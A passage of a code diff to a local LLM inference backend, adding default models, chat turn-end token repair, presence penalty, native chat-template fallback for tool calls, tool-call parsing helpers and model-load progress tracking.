+        hf_token = hf_token,
+    )
+    if native_prompt:
+        logger.info(
+            "Override template for '%s' dropped tool schemas; using the model's "
+            "native template for this tool-calling turn.",
+            active_model_name,
+        )
+        return native_prompt
+    return formatted_prompt
diff --git a/studio/backend/core/inference/defaults.py b/studio/backend/core/inference/defaults.py
index b64605e16f..a1d03c03e0 100644
--- a/studio/backend/core/inference/defaults.py
+++ b/studio/backend/core/inference/defaults.py
@@ -8,6 +8,7 @@ import utils.hardware.hardware as hw
 DEFAULT_MODELS_GGUF = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
@@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [
 DEFAULT_MODELS_STANDARD = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
diff --git a/studio/backend/core/inference/external_provider.py b/studio/backend/core/inference/external_provider.py
index cae001c34d..20312e067c 100644
--- a/studio/backend/core/inference/external_provider.py
+++ b/studio/backend/core/inference/external_provider.py
@@ -771,11 +771,9 @@ class ExternalProviderClient:
                 self.base_url = self.base_url[: -len("/openai")]
         self.api_key = api_key
         self._timeout = httpx.Timeout(timeout, connect = 10.0)
-        # Disable read timeout on SSE streams: reasoning-heavy models pause
-        # tens of seconds between bytes while thinking, and httpx's read
-        # timeout is the per-byte gap, not wall clock. connect/write bounds
-        # still surface real network failures.
-        self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = None)
+        # Generous per-byte read timeout: reasoning models pause tens of seconds
+        # between bytes, but a dead upstream must eventually error, not hang forever.
+        self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = 300.0)
 
     def _auth_headers(self) -> dict[str, str]:
         """Build authentication headers using the provider's registry config."""
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 2b9517692f..167706f701 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -26,6 +26,12 @@ from utils.hardware import (
 )
 from core.inference.audio_codecs import AudioCodecManager
 from core.inference.runtime_context import runtime_context_length
+from core.inference.message_content import content_to_text
+from core.inference.chat_eos import (
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids_using,
+)
+from core.inference.presence_penalty import _make_presence_penalty_processor
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -209,6 +215,50 @@ class InferenceBackend:
         # API uses -1 to disable top-k; transformers uses 0.
         return 0 if top_k < 0 else top_k
 
+    def _resolve_chat_eos(self, model_name: str) -> None:
+        """Resolve this chat model's assistant-turn-end stop tokens once at load,
+        cache them in model_info, and repair generation_config so every
+        ``.generate()`` path stops at the turn boundary.
+
+        Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with
+        ``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no
+        ``generation_config.json``, so paths that read ``generation_config`` (the
+        vision path, tool loops) run past the turn and loop. Turn-end markers are
+        derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids),
+        so base/coder models and harmony templates are left untouched.
+        """
+        info = self.models.get(model_name) or {}
+        model = info.get("model")
+        container = info.get("tokenizer")
+        tokenizer = getattr(container, "tokenizer", container)  # unwrap processors
+        if model is None or tokenizer is None:
+            return
+        # Vision models carry the chat_template on the processor, not the inner
+        # tokenizer. Read markers from whichever has one, but resolve ids on the
+        # generation tokenizer, else the vision path misses the turn-end token.
+        template_source = container if getattr(container, "chat_template", None) else tokenizer
+        try:
+            turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer)
+        except Exception as e:  # never block a load on eos resolution
+            logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e)
+            return
+        info["chat_turn_end_eos_ids"] = turn_end_ids
+
+        gen = getattr(model, "generation_config", None)
+        if gen is None:
+            return
+        repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids)
+        if repaired is None:
+            return
+        previous = gen.eos_token_id
+        gen.eos_token_id = repaired
+        logger.info(
+            "Repaired generation_config.eos_token_id for %s: %s -> %s",
+            model_name,
+            previous,
+            repaired,
+        )
+
     def load_model(
         self,
         config: ModelConfig,
@@ -220,6 +270,9 @@ class InferenceBackend:
         gpu_ids: Optional[list[int]] = None,
     ) -> bool:
         """Load any model: base, LoRA adapter, text, or vision."""
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         # GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it.
         if max_seq_length <= 0:
             max_seq_length = 2048
@@ -230,6 +283,8 @@ class InferenceBackend:
             # Already loaded?
             if model_name in self.models and self.models[model_name].get("model"):
                 logger.info(f"Model {model_name} already loaded")
+                if hf_token:
+                    self.models[model_name]["hf_token"] = hf_token
                 self.active_model_name = model_name
                 return True
 
@@ -245,6 +300,14 @@ class InferenceBackend:
             )
 
             self.models[model_name] = {
+                # Per-model token: the native-template fallback must use the
+                # token this model was loaded with, not whichever loaded last.
+                "hf_token": hf_token,
+                # Per-model consent: the native-template reload must re-use the
+                # exact trust_remote_code this model (and a LoRA's base) was loaded
+                # with, so a custom-code tokenizer repo can be re-fetched without
+                # executing any code the user did not already consent to.
+                "trust_remote_code": trust_remote_code,
                 "is_vision": config.is_vision,
                 "is_lora": config.is_lora,
                 "is_audio": config.is_audio,
@@ -495,6 +558,7 @@ class InferenceBackend:
                 max_seq_length,
             )
 
+            self._resolve_chat_eos(model_name)
             self._load_chat_template_info(model_name)
 
             self.active_model_name = model_name
@@ -765,9 +829,11 @@ class InferenceBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ):
         """Run an agentic tool loop on top of ``generate_chat_response``.
 
@@ -801,6 +867,7 @@ class InferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
         initial = list(messages)
@@ -814,6 +881,7 @@ class InferenceBackend:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
@@ -836,12 +904,14 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response for text or vision models (lock held by background thread).
 
         ``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking``
         are forwarded into ``apply_chat_template`` so templates that understand them
         (Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls.
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_chat_response_inner(
             messages = messages,
@@ -858,6 +928,7 @@ class InferenceBackend:
             enable_thinking = enable_thinking,
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_chat_response_inner(
@@ -877,6 +948,7 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic, called by generate_chat_response and
         generate_with_adapter_control.
@@ -916,6 +988,7 @@ class InferenceBackend:
                     max_new_tokens,
                     repetition_penalty,
                     cancel_event = cancel_event,
+                    presence_penalty = presence_penalty,
                 )
                 return
             else:
@@ -945,6 +1018,22 @@ class InferenceBackend:
                     tokenizer,
                     chat_template = template_name,
                 )
+                # The mapper installs the effective template only now, at generate
+                # time, so re-resolve and UNION into the load-time cache (never
+                # overwrite). get_chat_template can return a remapped tokenizer
+                # (turn-end folded onto doc-eos) while generate_stream reads the
+                # original, so take marker strings from the mapped template but
+                # resolve their ids on the original.
+                try:
+                    _gen_tok = model_info.get("tokenizer") or tokenizer
+                    refreshed = resolve_chat_turn_end_eos_ids_using(
+                        getattr(tokenizer, "tokenizer", tokenizer),
+                        getattr(_gen_tok, "tokenizer", _gen_tok),
+                    )
+                    existing = model_info.get("chat_turn_end_eos_ids") or []
+                    model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed))
+                except Exception as e:
+                    logger.warning(f"Could not refresh chat turn-end eos after template: {e}")
             else:
                 logger.info(
                     f"No registered Unsloth template for {self.active_model_name}, using tokenizer default"
@@ -974,6 +1063,27 @@ class InferenceBackend:
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
             )
+
+            # If tools were requested but the (possibly overridden) template ignored
+            # them, fall back to the model's native template (shared with MLX).
+            from core.inference.chat_template_helpers import (
+                render_with_native_template_fallback,
+            )
+
+            formatted_prompt = render_with_native_template_fallback(
+                formatted_prompt = formatted_prompt,
+                tokenizer = tokenizer,
+                model_info = model_info,
+                active_model_name = self.active_model_name,
+                messages = template_messages,
+                tools = tools,
+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+                apply_fn = self._apply_chat_template_for_generation,
+                hf_token = model_info.get("hf_token"),
+            )
+
             logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...")
         except Exception as e:
             logger.error(f"Error applying chat template: {e}")
@@ -991,6 +1101,7 @@ class InferenceBackend:
             repetition_penalty,
             cancel_event = cancel_event,
             _adapter_state = _adapter_state,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_vision_response(
@@ -1005,6 +1116,7 @@ class InferenceBackend:
         max_new_tokens,
         repetition_penalty,
         cancel_event = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Handle vision model generation with true token-by-token streaming."""
         model_info = self.models[self.active_model_name]
@@ -1018,7 +1130,7 @@ class InferenceBackend:
         user_message = ""
         if messages and messages[-1]["role"] == "user":
             import re
-            user_message = messages[-1]["content"]
+            user_message = content_to_text(messages[-1]["content"])
             user_message = re.sub(r"<img[^>]*>", "", user_message).strip()
 
         if not user_message:
@@ -1094,6 +1206,14 @@ class InferenceBackend:
                 top_k = top_k,
                 min_p = min_p,
             )
+            # Presence penalty (GGUF parity) for VLM chat.
+            _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None
+            if _vision_input_ids is not None:
+                _pp = _make_presence_penalty_processor(
+                    presence_penalty, int(_vision_input_ids.shape[1])
+                )
+                if _pp is not None:
+                    generation_kwargs["logits_processor"] = _pp
 
             err: dict[str, str] = {}
 
@@ -1181,7 +1301,7 @@ class InferenceBackend:
         if messages:
             for msg in reversed(messages):
                 if msg["role"] == "user" and msg.get("content"):
-                    user_text = msg["content"]
+                    user_text = content_to_text(msg["content"])
                     break
 
         # ASR-specific default system prompt if none set
@@ -1322,11 +1442,13 @@ class InferenceBackend:
         repetition_penalty: float = 1.0,
         cancel_event = None,
         _adapter_state = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate a streaming text response (text models only).
 
         _adapter_state: if not None, the background thread toggles adapters
         before model.generate(), under _generation_lock.
+        ``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it).
         """
         if not self.active_model_name:
             yield "Error: No active model"
@@ -1381,11 +1503,18 @@ class InferenceBackend:
                 min_p = min_p,
                 repetition_penalty = repetition_penalty,
                 do_sample = temperature > 0,
-                eos_token_id = tokenizer.eos_token_id,
+                # Resolved once at load (chat_template-derived turn-end tokens).
+                eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id,
                 pad_token_id = tokenizer.eos_token_id
                 if tokenizer.pad_token_id is None
                 else tokenizer.pad_token_id,
             )
+            # Presence penalty (GGUF parity); prompt_len excludes prompt tokens.
+            _pp = _make_presence_penalty_processor(
+                presence_penalty, int(inputs["input_ids"].shape[1])
+            )
+            if _pp is not None:
+                generation_kwargs["logits_processor"] = _pp
             if cancel_event is not None:
                 from transformers.generation.stopping_criteria import (
                     StoppingCriteria,
@@ -1713,7 +1842,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg.get("role", "")
-            content = msg.get("content", "")
+            content = content_to_text(msg.get("content", ""))
 
             if role in ["system", "user", "assistant"] and content.strip():
                 if role == last_role:
@@ -1801,7 +1930,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"]
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>"
 
         formatted += "<|start_header_id|>assistant<|end_header_id|>\n\n"
@@ -1817,14 +1946,14 @@ class InferenceBackend:
 
         for msg in messages:
             if msg["role"] == "system":
-                system_msg = msg["content"]
+                system_msg = content_to_text(msg["content"])
             else:
                 conversation.append(msg)
 
         i = 0
         while i < len(conversation):
             if conversation[i]["role"] == "user":
-                user_content = conversation[i]["content"]
+                user_content = content_to_text(conversation[i]["content"])
 
                 if system_msg and i == 0:
                     user_content = f"{system_msg}\n\n{user_content}"
@@ -1832,7 +1961,7 @@ class InferenceBackend:
                 formatted += f"[INST] {user_content} [/INST]"
 
                 if i + 1 < len(conversation) and conversation[i + 1]["role"] == "assistant":
-                    formatted += f" {conversation[i + 1]['content']}</s>"
+                    formatted += f" {content_to_text(conversation[i + 1]['content'])}</s>"
                     i += 2
                 else:
                     formatted += " "
@@ -1848,7 +1977,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"]
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"<|im_start|>{role}\n{content}<|im_end|>\n"
 
         formatted += "<|im_start|>assistant\n"
@@ -1860,16 +1989,17 @@ class InferenceBackend:
         system_msg = None
 
         for msg in messages:
+            content = content_to_text(msg["content"])
             if msg["role"] == "system":
-                system_msg = msg["content"]
+                system_msg = content
             elif msg["role"] == "user":
                 if system_msg:
-                    formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{msg['content']}\n\n### Response:\n"
+                    formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{content}\n\n### Response:\n"
                     system_msg = None
                 else:
-                    formatted += f"### Human:\n{msg['content']}\n\n### Assistant:\n"
+                    formatted += f"### Human:\n{content}\n\n### Assistant:\n"
             elif msg["role"] == "assistant":
-                formatted += f"{msg['content']}\n\n"
+                formatted += f"{content}\n\n"
 
         return formatted
 
@@ -1879,7 +2009,7 @@ class InferenceBackend:
 
         for msg in messages:
             role = msg["role"].title()
-            content = msg["content"]
+            content = content_to_text(msg["content"])
             formatted += f"{role}: {content}\n"
 
         formatted += "Assistant: "
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index ac9d370b7d..8b40f5fccd 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -38,8 +38,35 @@ from core.inference.llama_server_args import (
     strip_shadowing_flags,
     strip_split_mode_only,
 )
+
+# Share strip / signal constants with the multi-format parser so BUFFERING also
+# catches Llama-3 / Mistral / Gemma 4 (legacy helper only knew <tool_call> / <function=).
+from core.inference.tool_call_parser import (
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    TOOL_XML_SIGNALS as _SHARED_TOOL_XML_SIGNALS,
+    RAG_MAX_SEARCHES_PER_TURN,
+    RAG_SEARCH_CAP_NUDGE,
+    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
+    strip_tool_markup as _shared_strip_tool_markup,
+)
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the GGUF streaming strip stays aligned with the parser.
 from core.tool_healing import (
-    _TOOL_ALL_PATS,
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    apply_tool_strip_patterns,
+    strip_outside_think,
     strip_tool_call_markup,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
@@ -49,10 +76,10 @@ from utils.subprocess_compat import (
 )
 from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
 from core.inference.tool_call_parser import (
-    RAG_MAX_SEARCHES_PER_TURN,
-    RAG_SEARCH_CAP_NUDGE,
-    TOOL_XML_SIGNALS,
-    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    MAX_ACT_REPROMPTS as _MAX_REPROMPTS,
+    REPROMPT_MAX_CHARS as _REPROMPT_MAX_CHARS,
+    is_short_intent_without_action as _is_short_intent_without_action,
+    reprompt_to_act_message as _reprompt_to_act_message,
 )
 from core.inference.tool_loop_controller import (
     ToolLoopController,
@@ -202,25 +229,8 @@ def _wsl_system_rocm_lib_dirs() -> "list[str]":
     return out
 
 
-# ── Pre-compiled patterns for plan-without-action re-prompt ──
-# Forward-looking intent signals: the model is describing what it *will*
-# do rather than giving a final answer.
-_INTENT_SIGNAL = re.compile(
-    r"(?i)("
-    # Direct intent ("I'll ...", "Let me ...", straight + curly apostrophes).
-    # Excludes "I can"/"I should"/"I want to"/"let's" (common in answers).
-    # Negative lookahead drops negated forms ("I will not") so a refusal
-    # doesn't trigger a re-prompt.
-    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
-    r"|"
-    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
-    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
-    r"|"
-    # "Now I" / "Next I" patterns
-    r"\b(?:now i|next i)\b"
-    r")"
-)
-_MAX_REPROMPTS = 1
+# Plan-without-action re-prompt state (intent signal, caps, message) now lives
+# in tool_call_parser, imported above under its old aliases.
 
 # Default max_tokens to the effective context when known. The floor is high
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
@@ -231,7 +241,10 @@ _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
 # is exempt because it needs immediate artifact feedback.
 _PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
-_REPROMPT_MAX_CHARS = 2000
+# Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors
+# loop). Structured delta.tool_calls are grammar-bounded by llama-server; text
+# parsed from content is not, so one runaway turn could fan out unbounded.
+_MAX_TOOL_CALLS_PER_TURN = 8
 _FORCED_REPEAT_PLAN_SIGNAL = re.compile(
     r"\b(?:i\s+will|i'll|let\s+me|going\s+to|need\s+to|call|use|run|search|fetch|render)\b",
     re.I,
@@ -242,9 +255,70 @@ _FINAL_ANSWER_SIGNAL = re.compile(
 )
 
 
-def _is_short_intent_without_action(text: str) -> bool:
-    stripped = text.strip()
-    return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None
+def _gguf_active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in (active_tools or [])
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Rehearsal NAME chars (word + hyphen, matching the parser); the lookbehind excludes the
+# Mistral [CALL_ID]...[ARGS] shape.
+_GGUF_REHEARSAL_ARGS_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]")
+
+
+def _gguf_rehearsal_signal_pos(text: str, active_tools: list[dict]) -> int:
+    """Index of the first ``NAME[ARGS]`` whose NAME is an active tool, else -1. A
+    bare/inactive-name ``foo[ARGS]`` in prose is not a call; mirrors the safetensors
+    ``_earliest_tool_signal`` name-gating (no unrestricted GGUF mode)."""
+    active = set(_gguf_active_tool_names(active_tools))
+    if not active:
+        return -1
+    for m in _GGUF_REHEARSAL_ARGS_RE.finditer(text):
+        if m.group(1) in active:
+            return m.start()
+    return -1
+
+
+def _gguf_has_genuine_tool_signal(text: str, signals, active_tools: list[dict]) -> bool:
+    """True when ``text`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Unambiguous markers (``<tool_call>``, ``[TOOL_CALLS]``, ``<function=``) count on a
+    plain substring hit; an ``[ARGS]`` hit is genuine only when an active tool name
+    precedes it, so inactive-name prose is neither drained nor parsed."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if _gguf_rehearsal_signal_pos(text, active_tools) >= 0:
+                return True
+            continue
+        if sig in text:
+            return True
+    return False
+
+
+def _is_rehearsal_prefix(stripped: str, active_tools: list[dict]) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of ``NAME[ARGS]`` for an
+    active tool -- the bare tool name arriving in its own chunk before ``[ARGS]{...}``.
+    Mirrors the safetensors loop so the split rehearsal call is not streamed."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    for name in _gguf_active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose. Mirrors safetensors."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0
 
 
 def _should_suppress_forced_no_tool_output(text: str) -> bool:
@@ -545,6 +619,13 @@ _TOOL_TEMPLATE_MARKERS = (
     "'role' == 'tool'",
     'message.role == "tool"',
     "message.role == 'tool'",
+    # DeepSeek: no top-level ``{% if tools %}`` block; it gates emission on
+    # ``message['role'] == 'tool'`` plus ``message['tool_calls'] is defined``.
+    "message['role'] == 'tool'",
+    'message["role"] == "tool"',
+    "message['tool_calls']",
+    'message["tool_calls"]',
+    "tool_calls is defined",
 )
 
 
@@ -605,6 +686,16 @@ def detect_reasoning_flags(
         else []
     )
     if effort_levels:
+        # DeepSeek-V4's encoder accepts reasoning_effort {'high', 'max'} but its
+        # template only branches on 'max', so the literal scan misses 'high'. Add it
+        # (matched on whole repo-name segments, so 'deepseek-v40' won't false-match)
+        # to expose the full none/high/max ladder instead of none/max.
+        segments = re.split(r"[-_.]", (model_identifier or "").lower().split("/")[-1])
+        is_dsv4 = "deepseek4" in segments or any(
+            a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:])
+        )
+        if is_dsv4 and "high" not in effort_levels:
+            effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index)
         # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort
         # level among a discrete set (e.g. 'high' | 'max'). Distinct from
         # gpt-oss (reasoning_effort only, no on/off gate) and Qwen
@@ -801,7 +892,15 @@ _MTP_MIN_SIZE_B = 3.0
 # Cap total GPU occupancy at this fraction of the card. The fit reserves an
 # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction
 # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
-_CTX_FIT_VRAM_FRACTION = 0.95
+# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes),
+# so this cushion no longer covers it - only fragmentation, the per-device CUDA
+# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on
+# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU.
+_CTX_FIT_VRAM_FRACTION = 0.97
+
+# Apple unified memory is shared with the OS, so tighter than VRAM. Matches the
+# 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync.
+_APPLE_UNIFIED_MEMORY_FRACTION = 0.85
 
 # Flat MTP reserve, used only when GGUF dims are too sparse for the byte-accurate
 # reserve (_estimate_mtp_overhead_bytes). Applied to both the fit budget and pin.
@@ -1219,6 +1318,25 @@ def _backfill_usage_from_timings(usage, timings):
     return out
 
 
+def _is_external_link(path: Path) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, which Studio does not own."""
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
 class LlamaCppBackend:
     """Manages a llama-server subprocess for GGUF model inference.
 
@@ -1250,6 +1368,7 @@ class LlamaCppBackend:
         self._is_diffusion: bool = False
         self._diffusion_visual_bin: Optional[str] = None
         self._healthy = False
+        self._load_rss_hwm = (None, 0)  # (pid, peak VmRSS) for load_progress
         self._stats_logger = None  # vLLM-style engine-stats poller, set on load
         # Set by _classify_gpu_offload after _wait_for_health.
         self._gpu_offload_active: Optional[bool] = None
@@ -1267,6 +1386,9 @@ class LlamaCppBackend:
         self._cache_type_kv: Optional[str] = None
         # Whether --split-mode tensor was applied on the active load.
         self._tensor_parallel: bool = False
+        # Layer load kept multi-GPU only to honor a downgraded tensor request, so a
+        # later explicit tensor-off reloads instead of deduping to it (#6659).
+        self._layer_preserves_tensor_intent: bool = False
         self._reasoning_default: bool = True
         self._speculative_type: Optional[str] = None
         # Canonical UI-facing mode the user requested
@@ -1454,6 +1576,21 @@ class LlamaCppBackend:
         """Return the model's native context length from GGUF metadata."""
         return self._context_length
 
+    @staticmethod
+    def _read_rss_bytes(pid: int) -> Optional[int]:
+        """Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
+        0 when the status has no VmRSS line (zombie / kernel thread); None where
+        /proc is unavailable (macOS/Windows) or the value is unreadable."""
+        try:
+            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
+                for line in f:
+                    if line.startswith("VmRSS:"):
+                        # IndexError guards a "VmRSS:" line with no value column.
+                        return int(line.split()[1]) * 1024  # kB -> bytes
+        except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError):
+            return None
+        return 0  # readable but no VmRSS line
+
     def load_progress(self) -> Optional[dict]:
         """Return live model-load progress, or None if not loading.
 
@@ -1513,22 +1650,32 @@ class LlamaCppBackend:
             except OSError:
                 pass
 
-        # Read VmRSS from /proc/<pid>/status (kilobytes on Linux).
-        bytes_loaded = 0
-        try:
-            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
-                for line in f:
-                    if line.startswith("VmRSS:"):
-                        kb = int(line.split()[1])
-                        bytes_loaded = kb * 1024
-                        break
-        except (FileNotFoundError, PermissionError, ValueError, OSError):
+        # VmRSS of the llama-server; None where /proc is unavailable.
+        bytes_loaded = LlamaCppBackend._read_rss_bytes(pid)
+        if bytes_loaded is None:
             return None
 
+        # RSS climbs as weights page in, then drops once -ngl offloads them to
+        # VRAM and the mmap pages are freed. Hold a per-process high-water mark
+        # so the bar never regresses to ~8% mid-load (#5740).
+        hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0))
+        hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded)
+        self._load_rss_hwm = (pid, hwm)
+        bytes_loaded = hwm
+
         phase = "ready" if self._healthy else "mmap"
         fraction = 0.0
         if bytes_total > 0:
             fraction = min(1.0, bytes_loaded / bytes_total)
+        # Once llama-server is healthy the load is complete by definition. With
+        # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight
+        # pages, so VmRSS sinks back well below the shard total; the raw RSS
+        # fraction would then report a partial (~8%) load indefinitely and freeze
+        # a fraction-driven progress bar even though the model is ready (#5740).
+        if self._healthy:
+            if bytes_total > 0:
+                bytes_loaded = bytes_total
+            fraction = 1.0
         return {
             "phase": phase,
             "bytes_loaded": bytes_loaded,
@@ -1604,9 +1751,13 @@ class LlamaCppBackend:
                 # 'low' effort the way gpt-oss does (those models genuinely
                 # cannot disable).
                 thinking_off = enable_thinking is False or reasoning_effort == "none"
-                if enable_thinking is not None or reasoning_effort == "none":
+                # A named effort level implies thinking on, so emit enable_thinking
+                # even if the caller sent only reasoning_effort (else the template
+                # defaults it off and the requested level never renders).
+                effort_on = reasoning_effort in self._reasoning_effort_levels
+                if enable_thinking is not None or reasoning_effort == "none" or effort_on:
                     kwargs["enable_thinking"] = not thinking_off
-                if not thinking_off and reasoning_effort in self._reasoning_effort_levels:
+                if not thinking_off and effort_on:
                     kwargs["reasoning_effort"] = reasoning_effort
             elif self._reasoning_style == "reasoning_effort":
                 if reasoning_effort in ("none", "low", "medium", "high"):
@@ -1639,6 +1790,11 @@ class LlamaCppBackend:
         """Whether --split-mode tensor is active on the loaded server."""
         return self._tensor_parallel
 
+    @property
+    def layer_preserves_tensor_intent(self) -> bool:
+        """True when a downgraded tensor request kept this layer load multi-GPU."""
+        return self._layer_preserves_tensor_intent
+
     @property
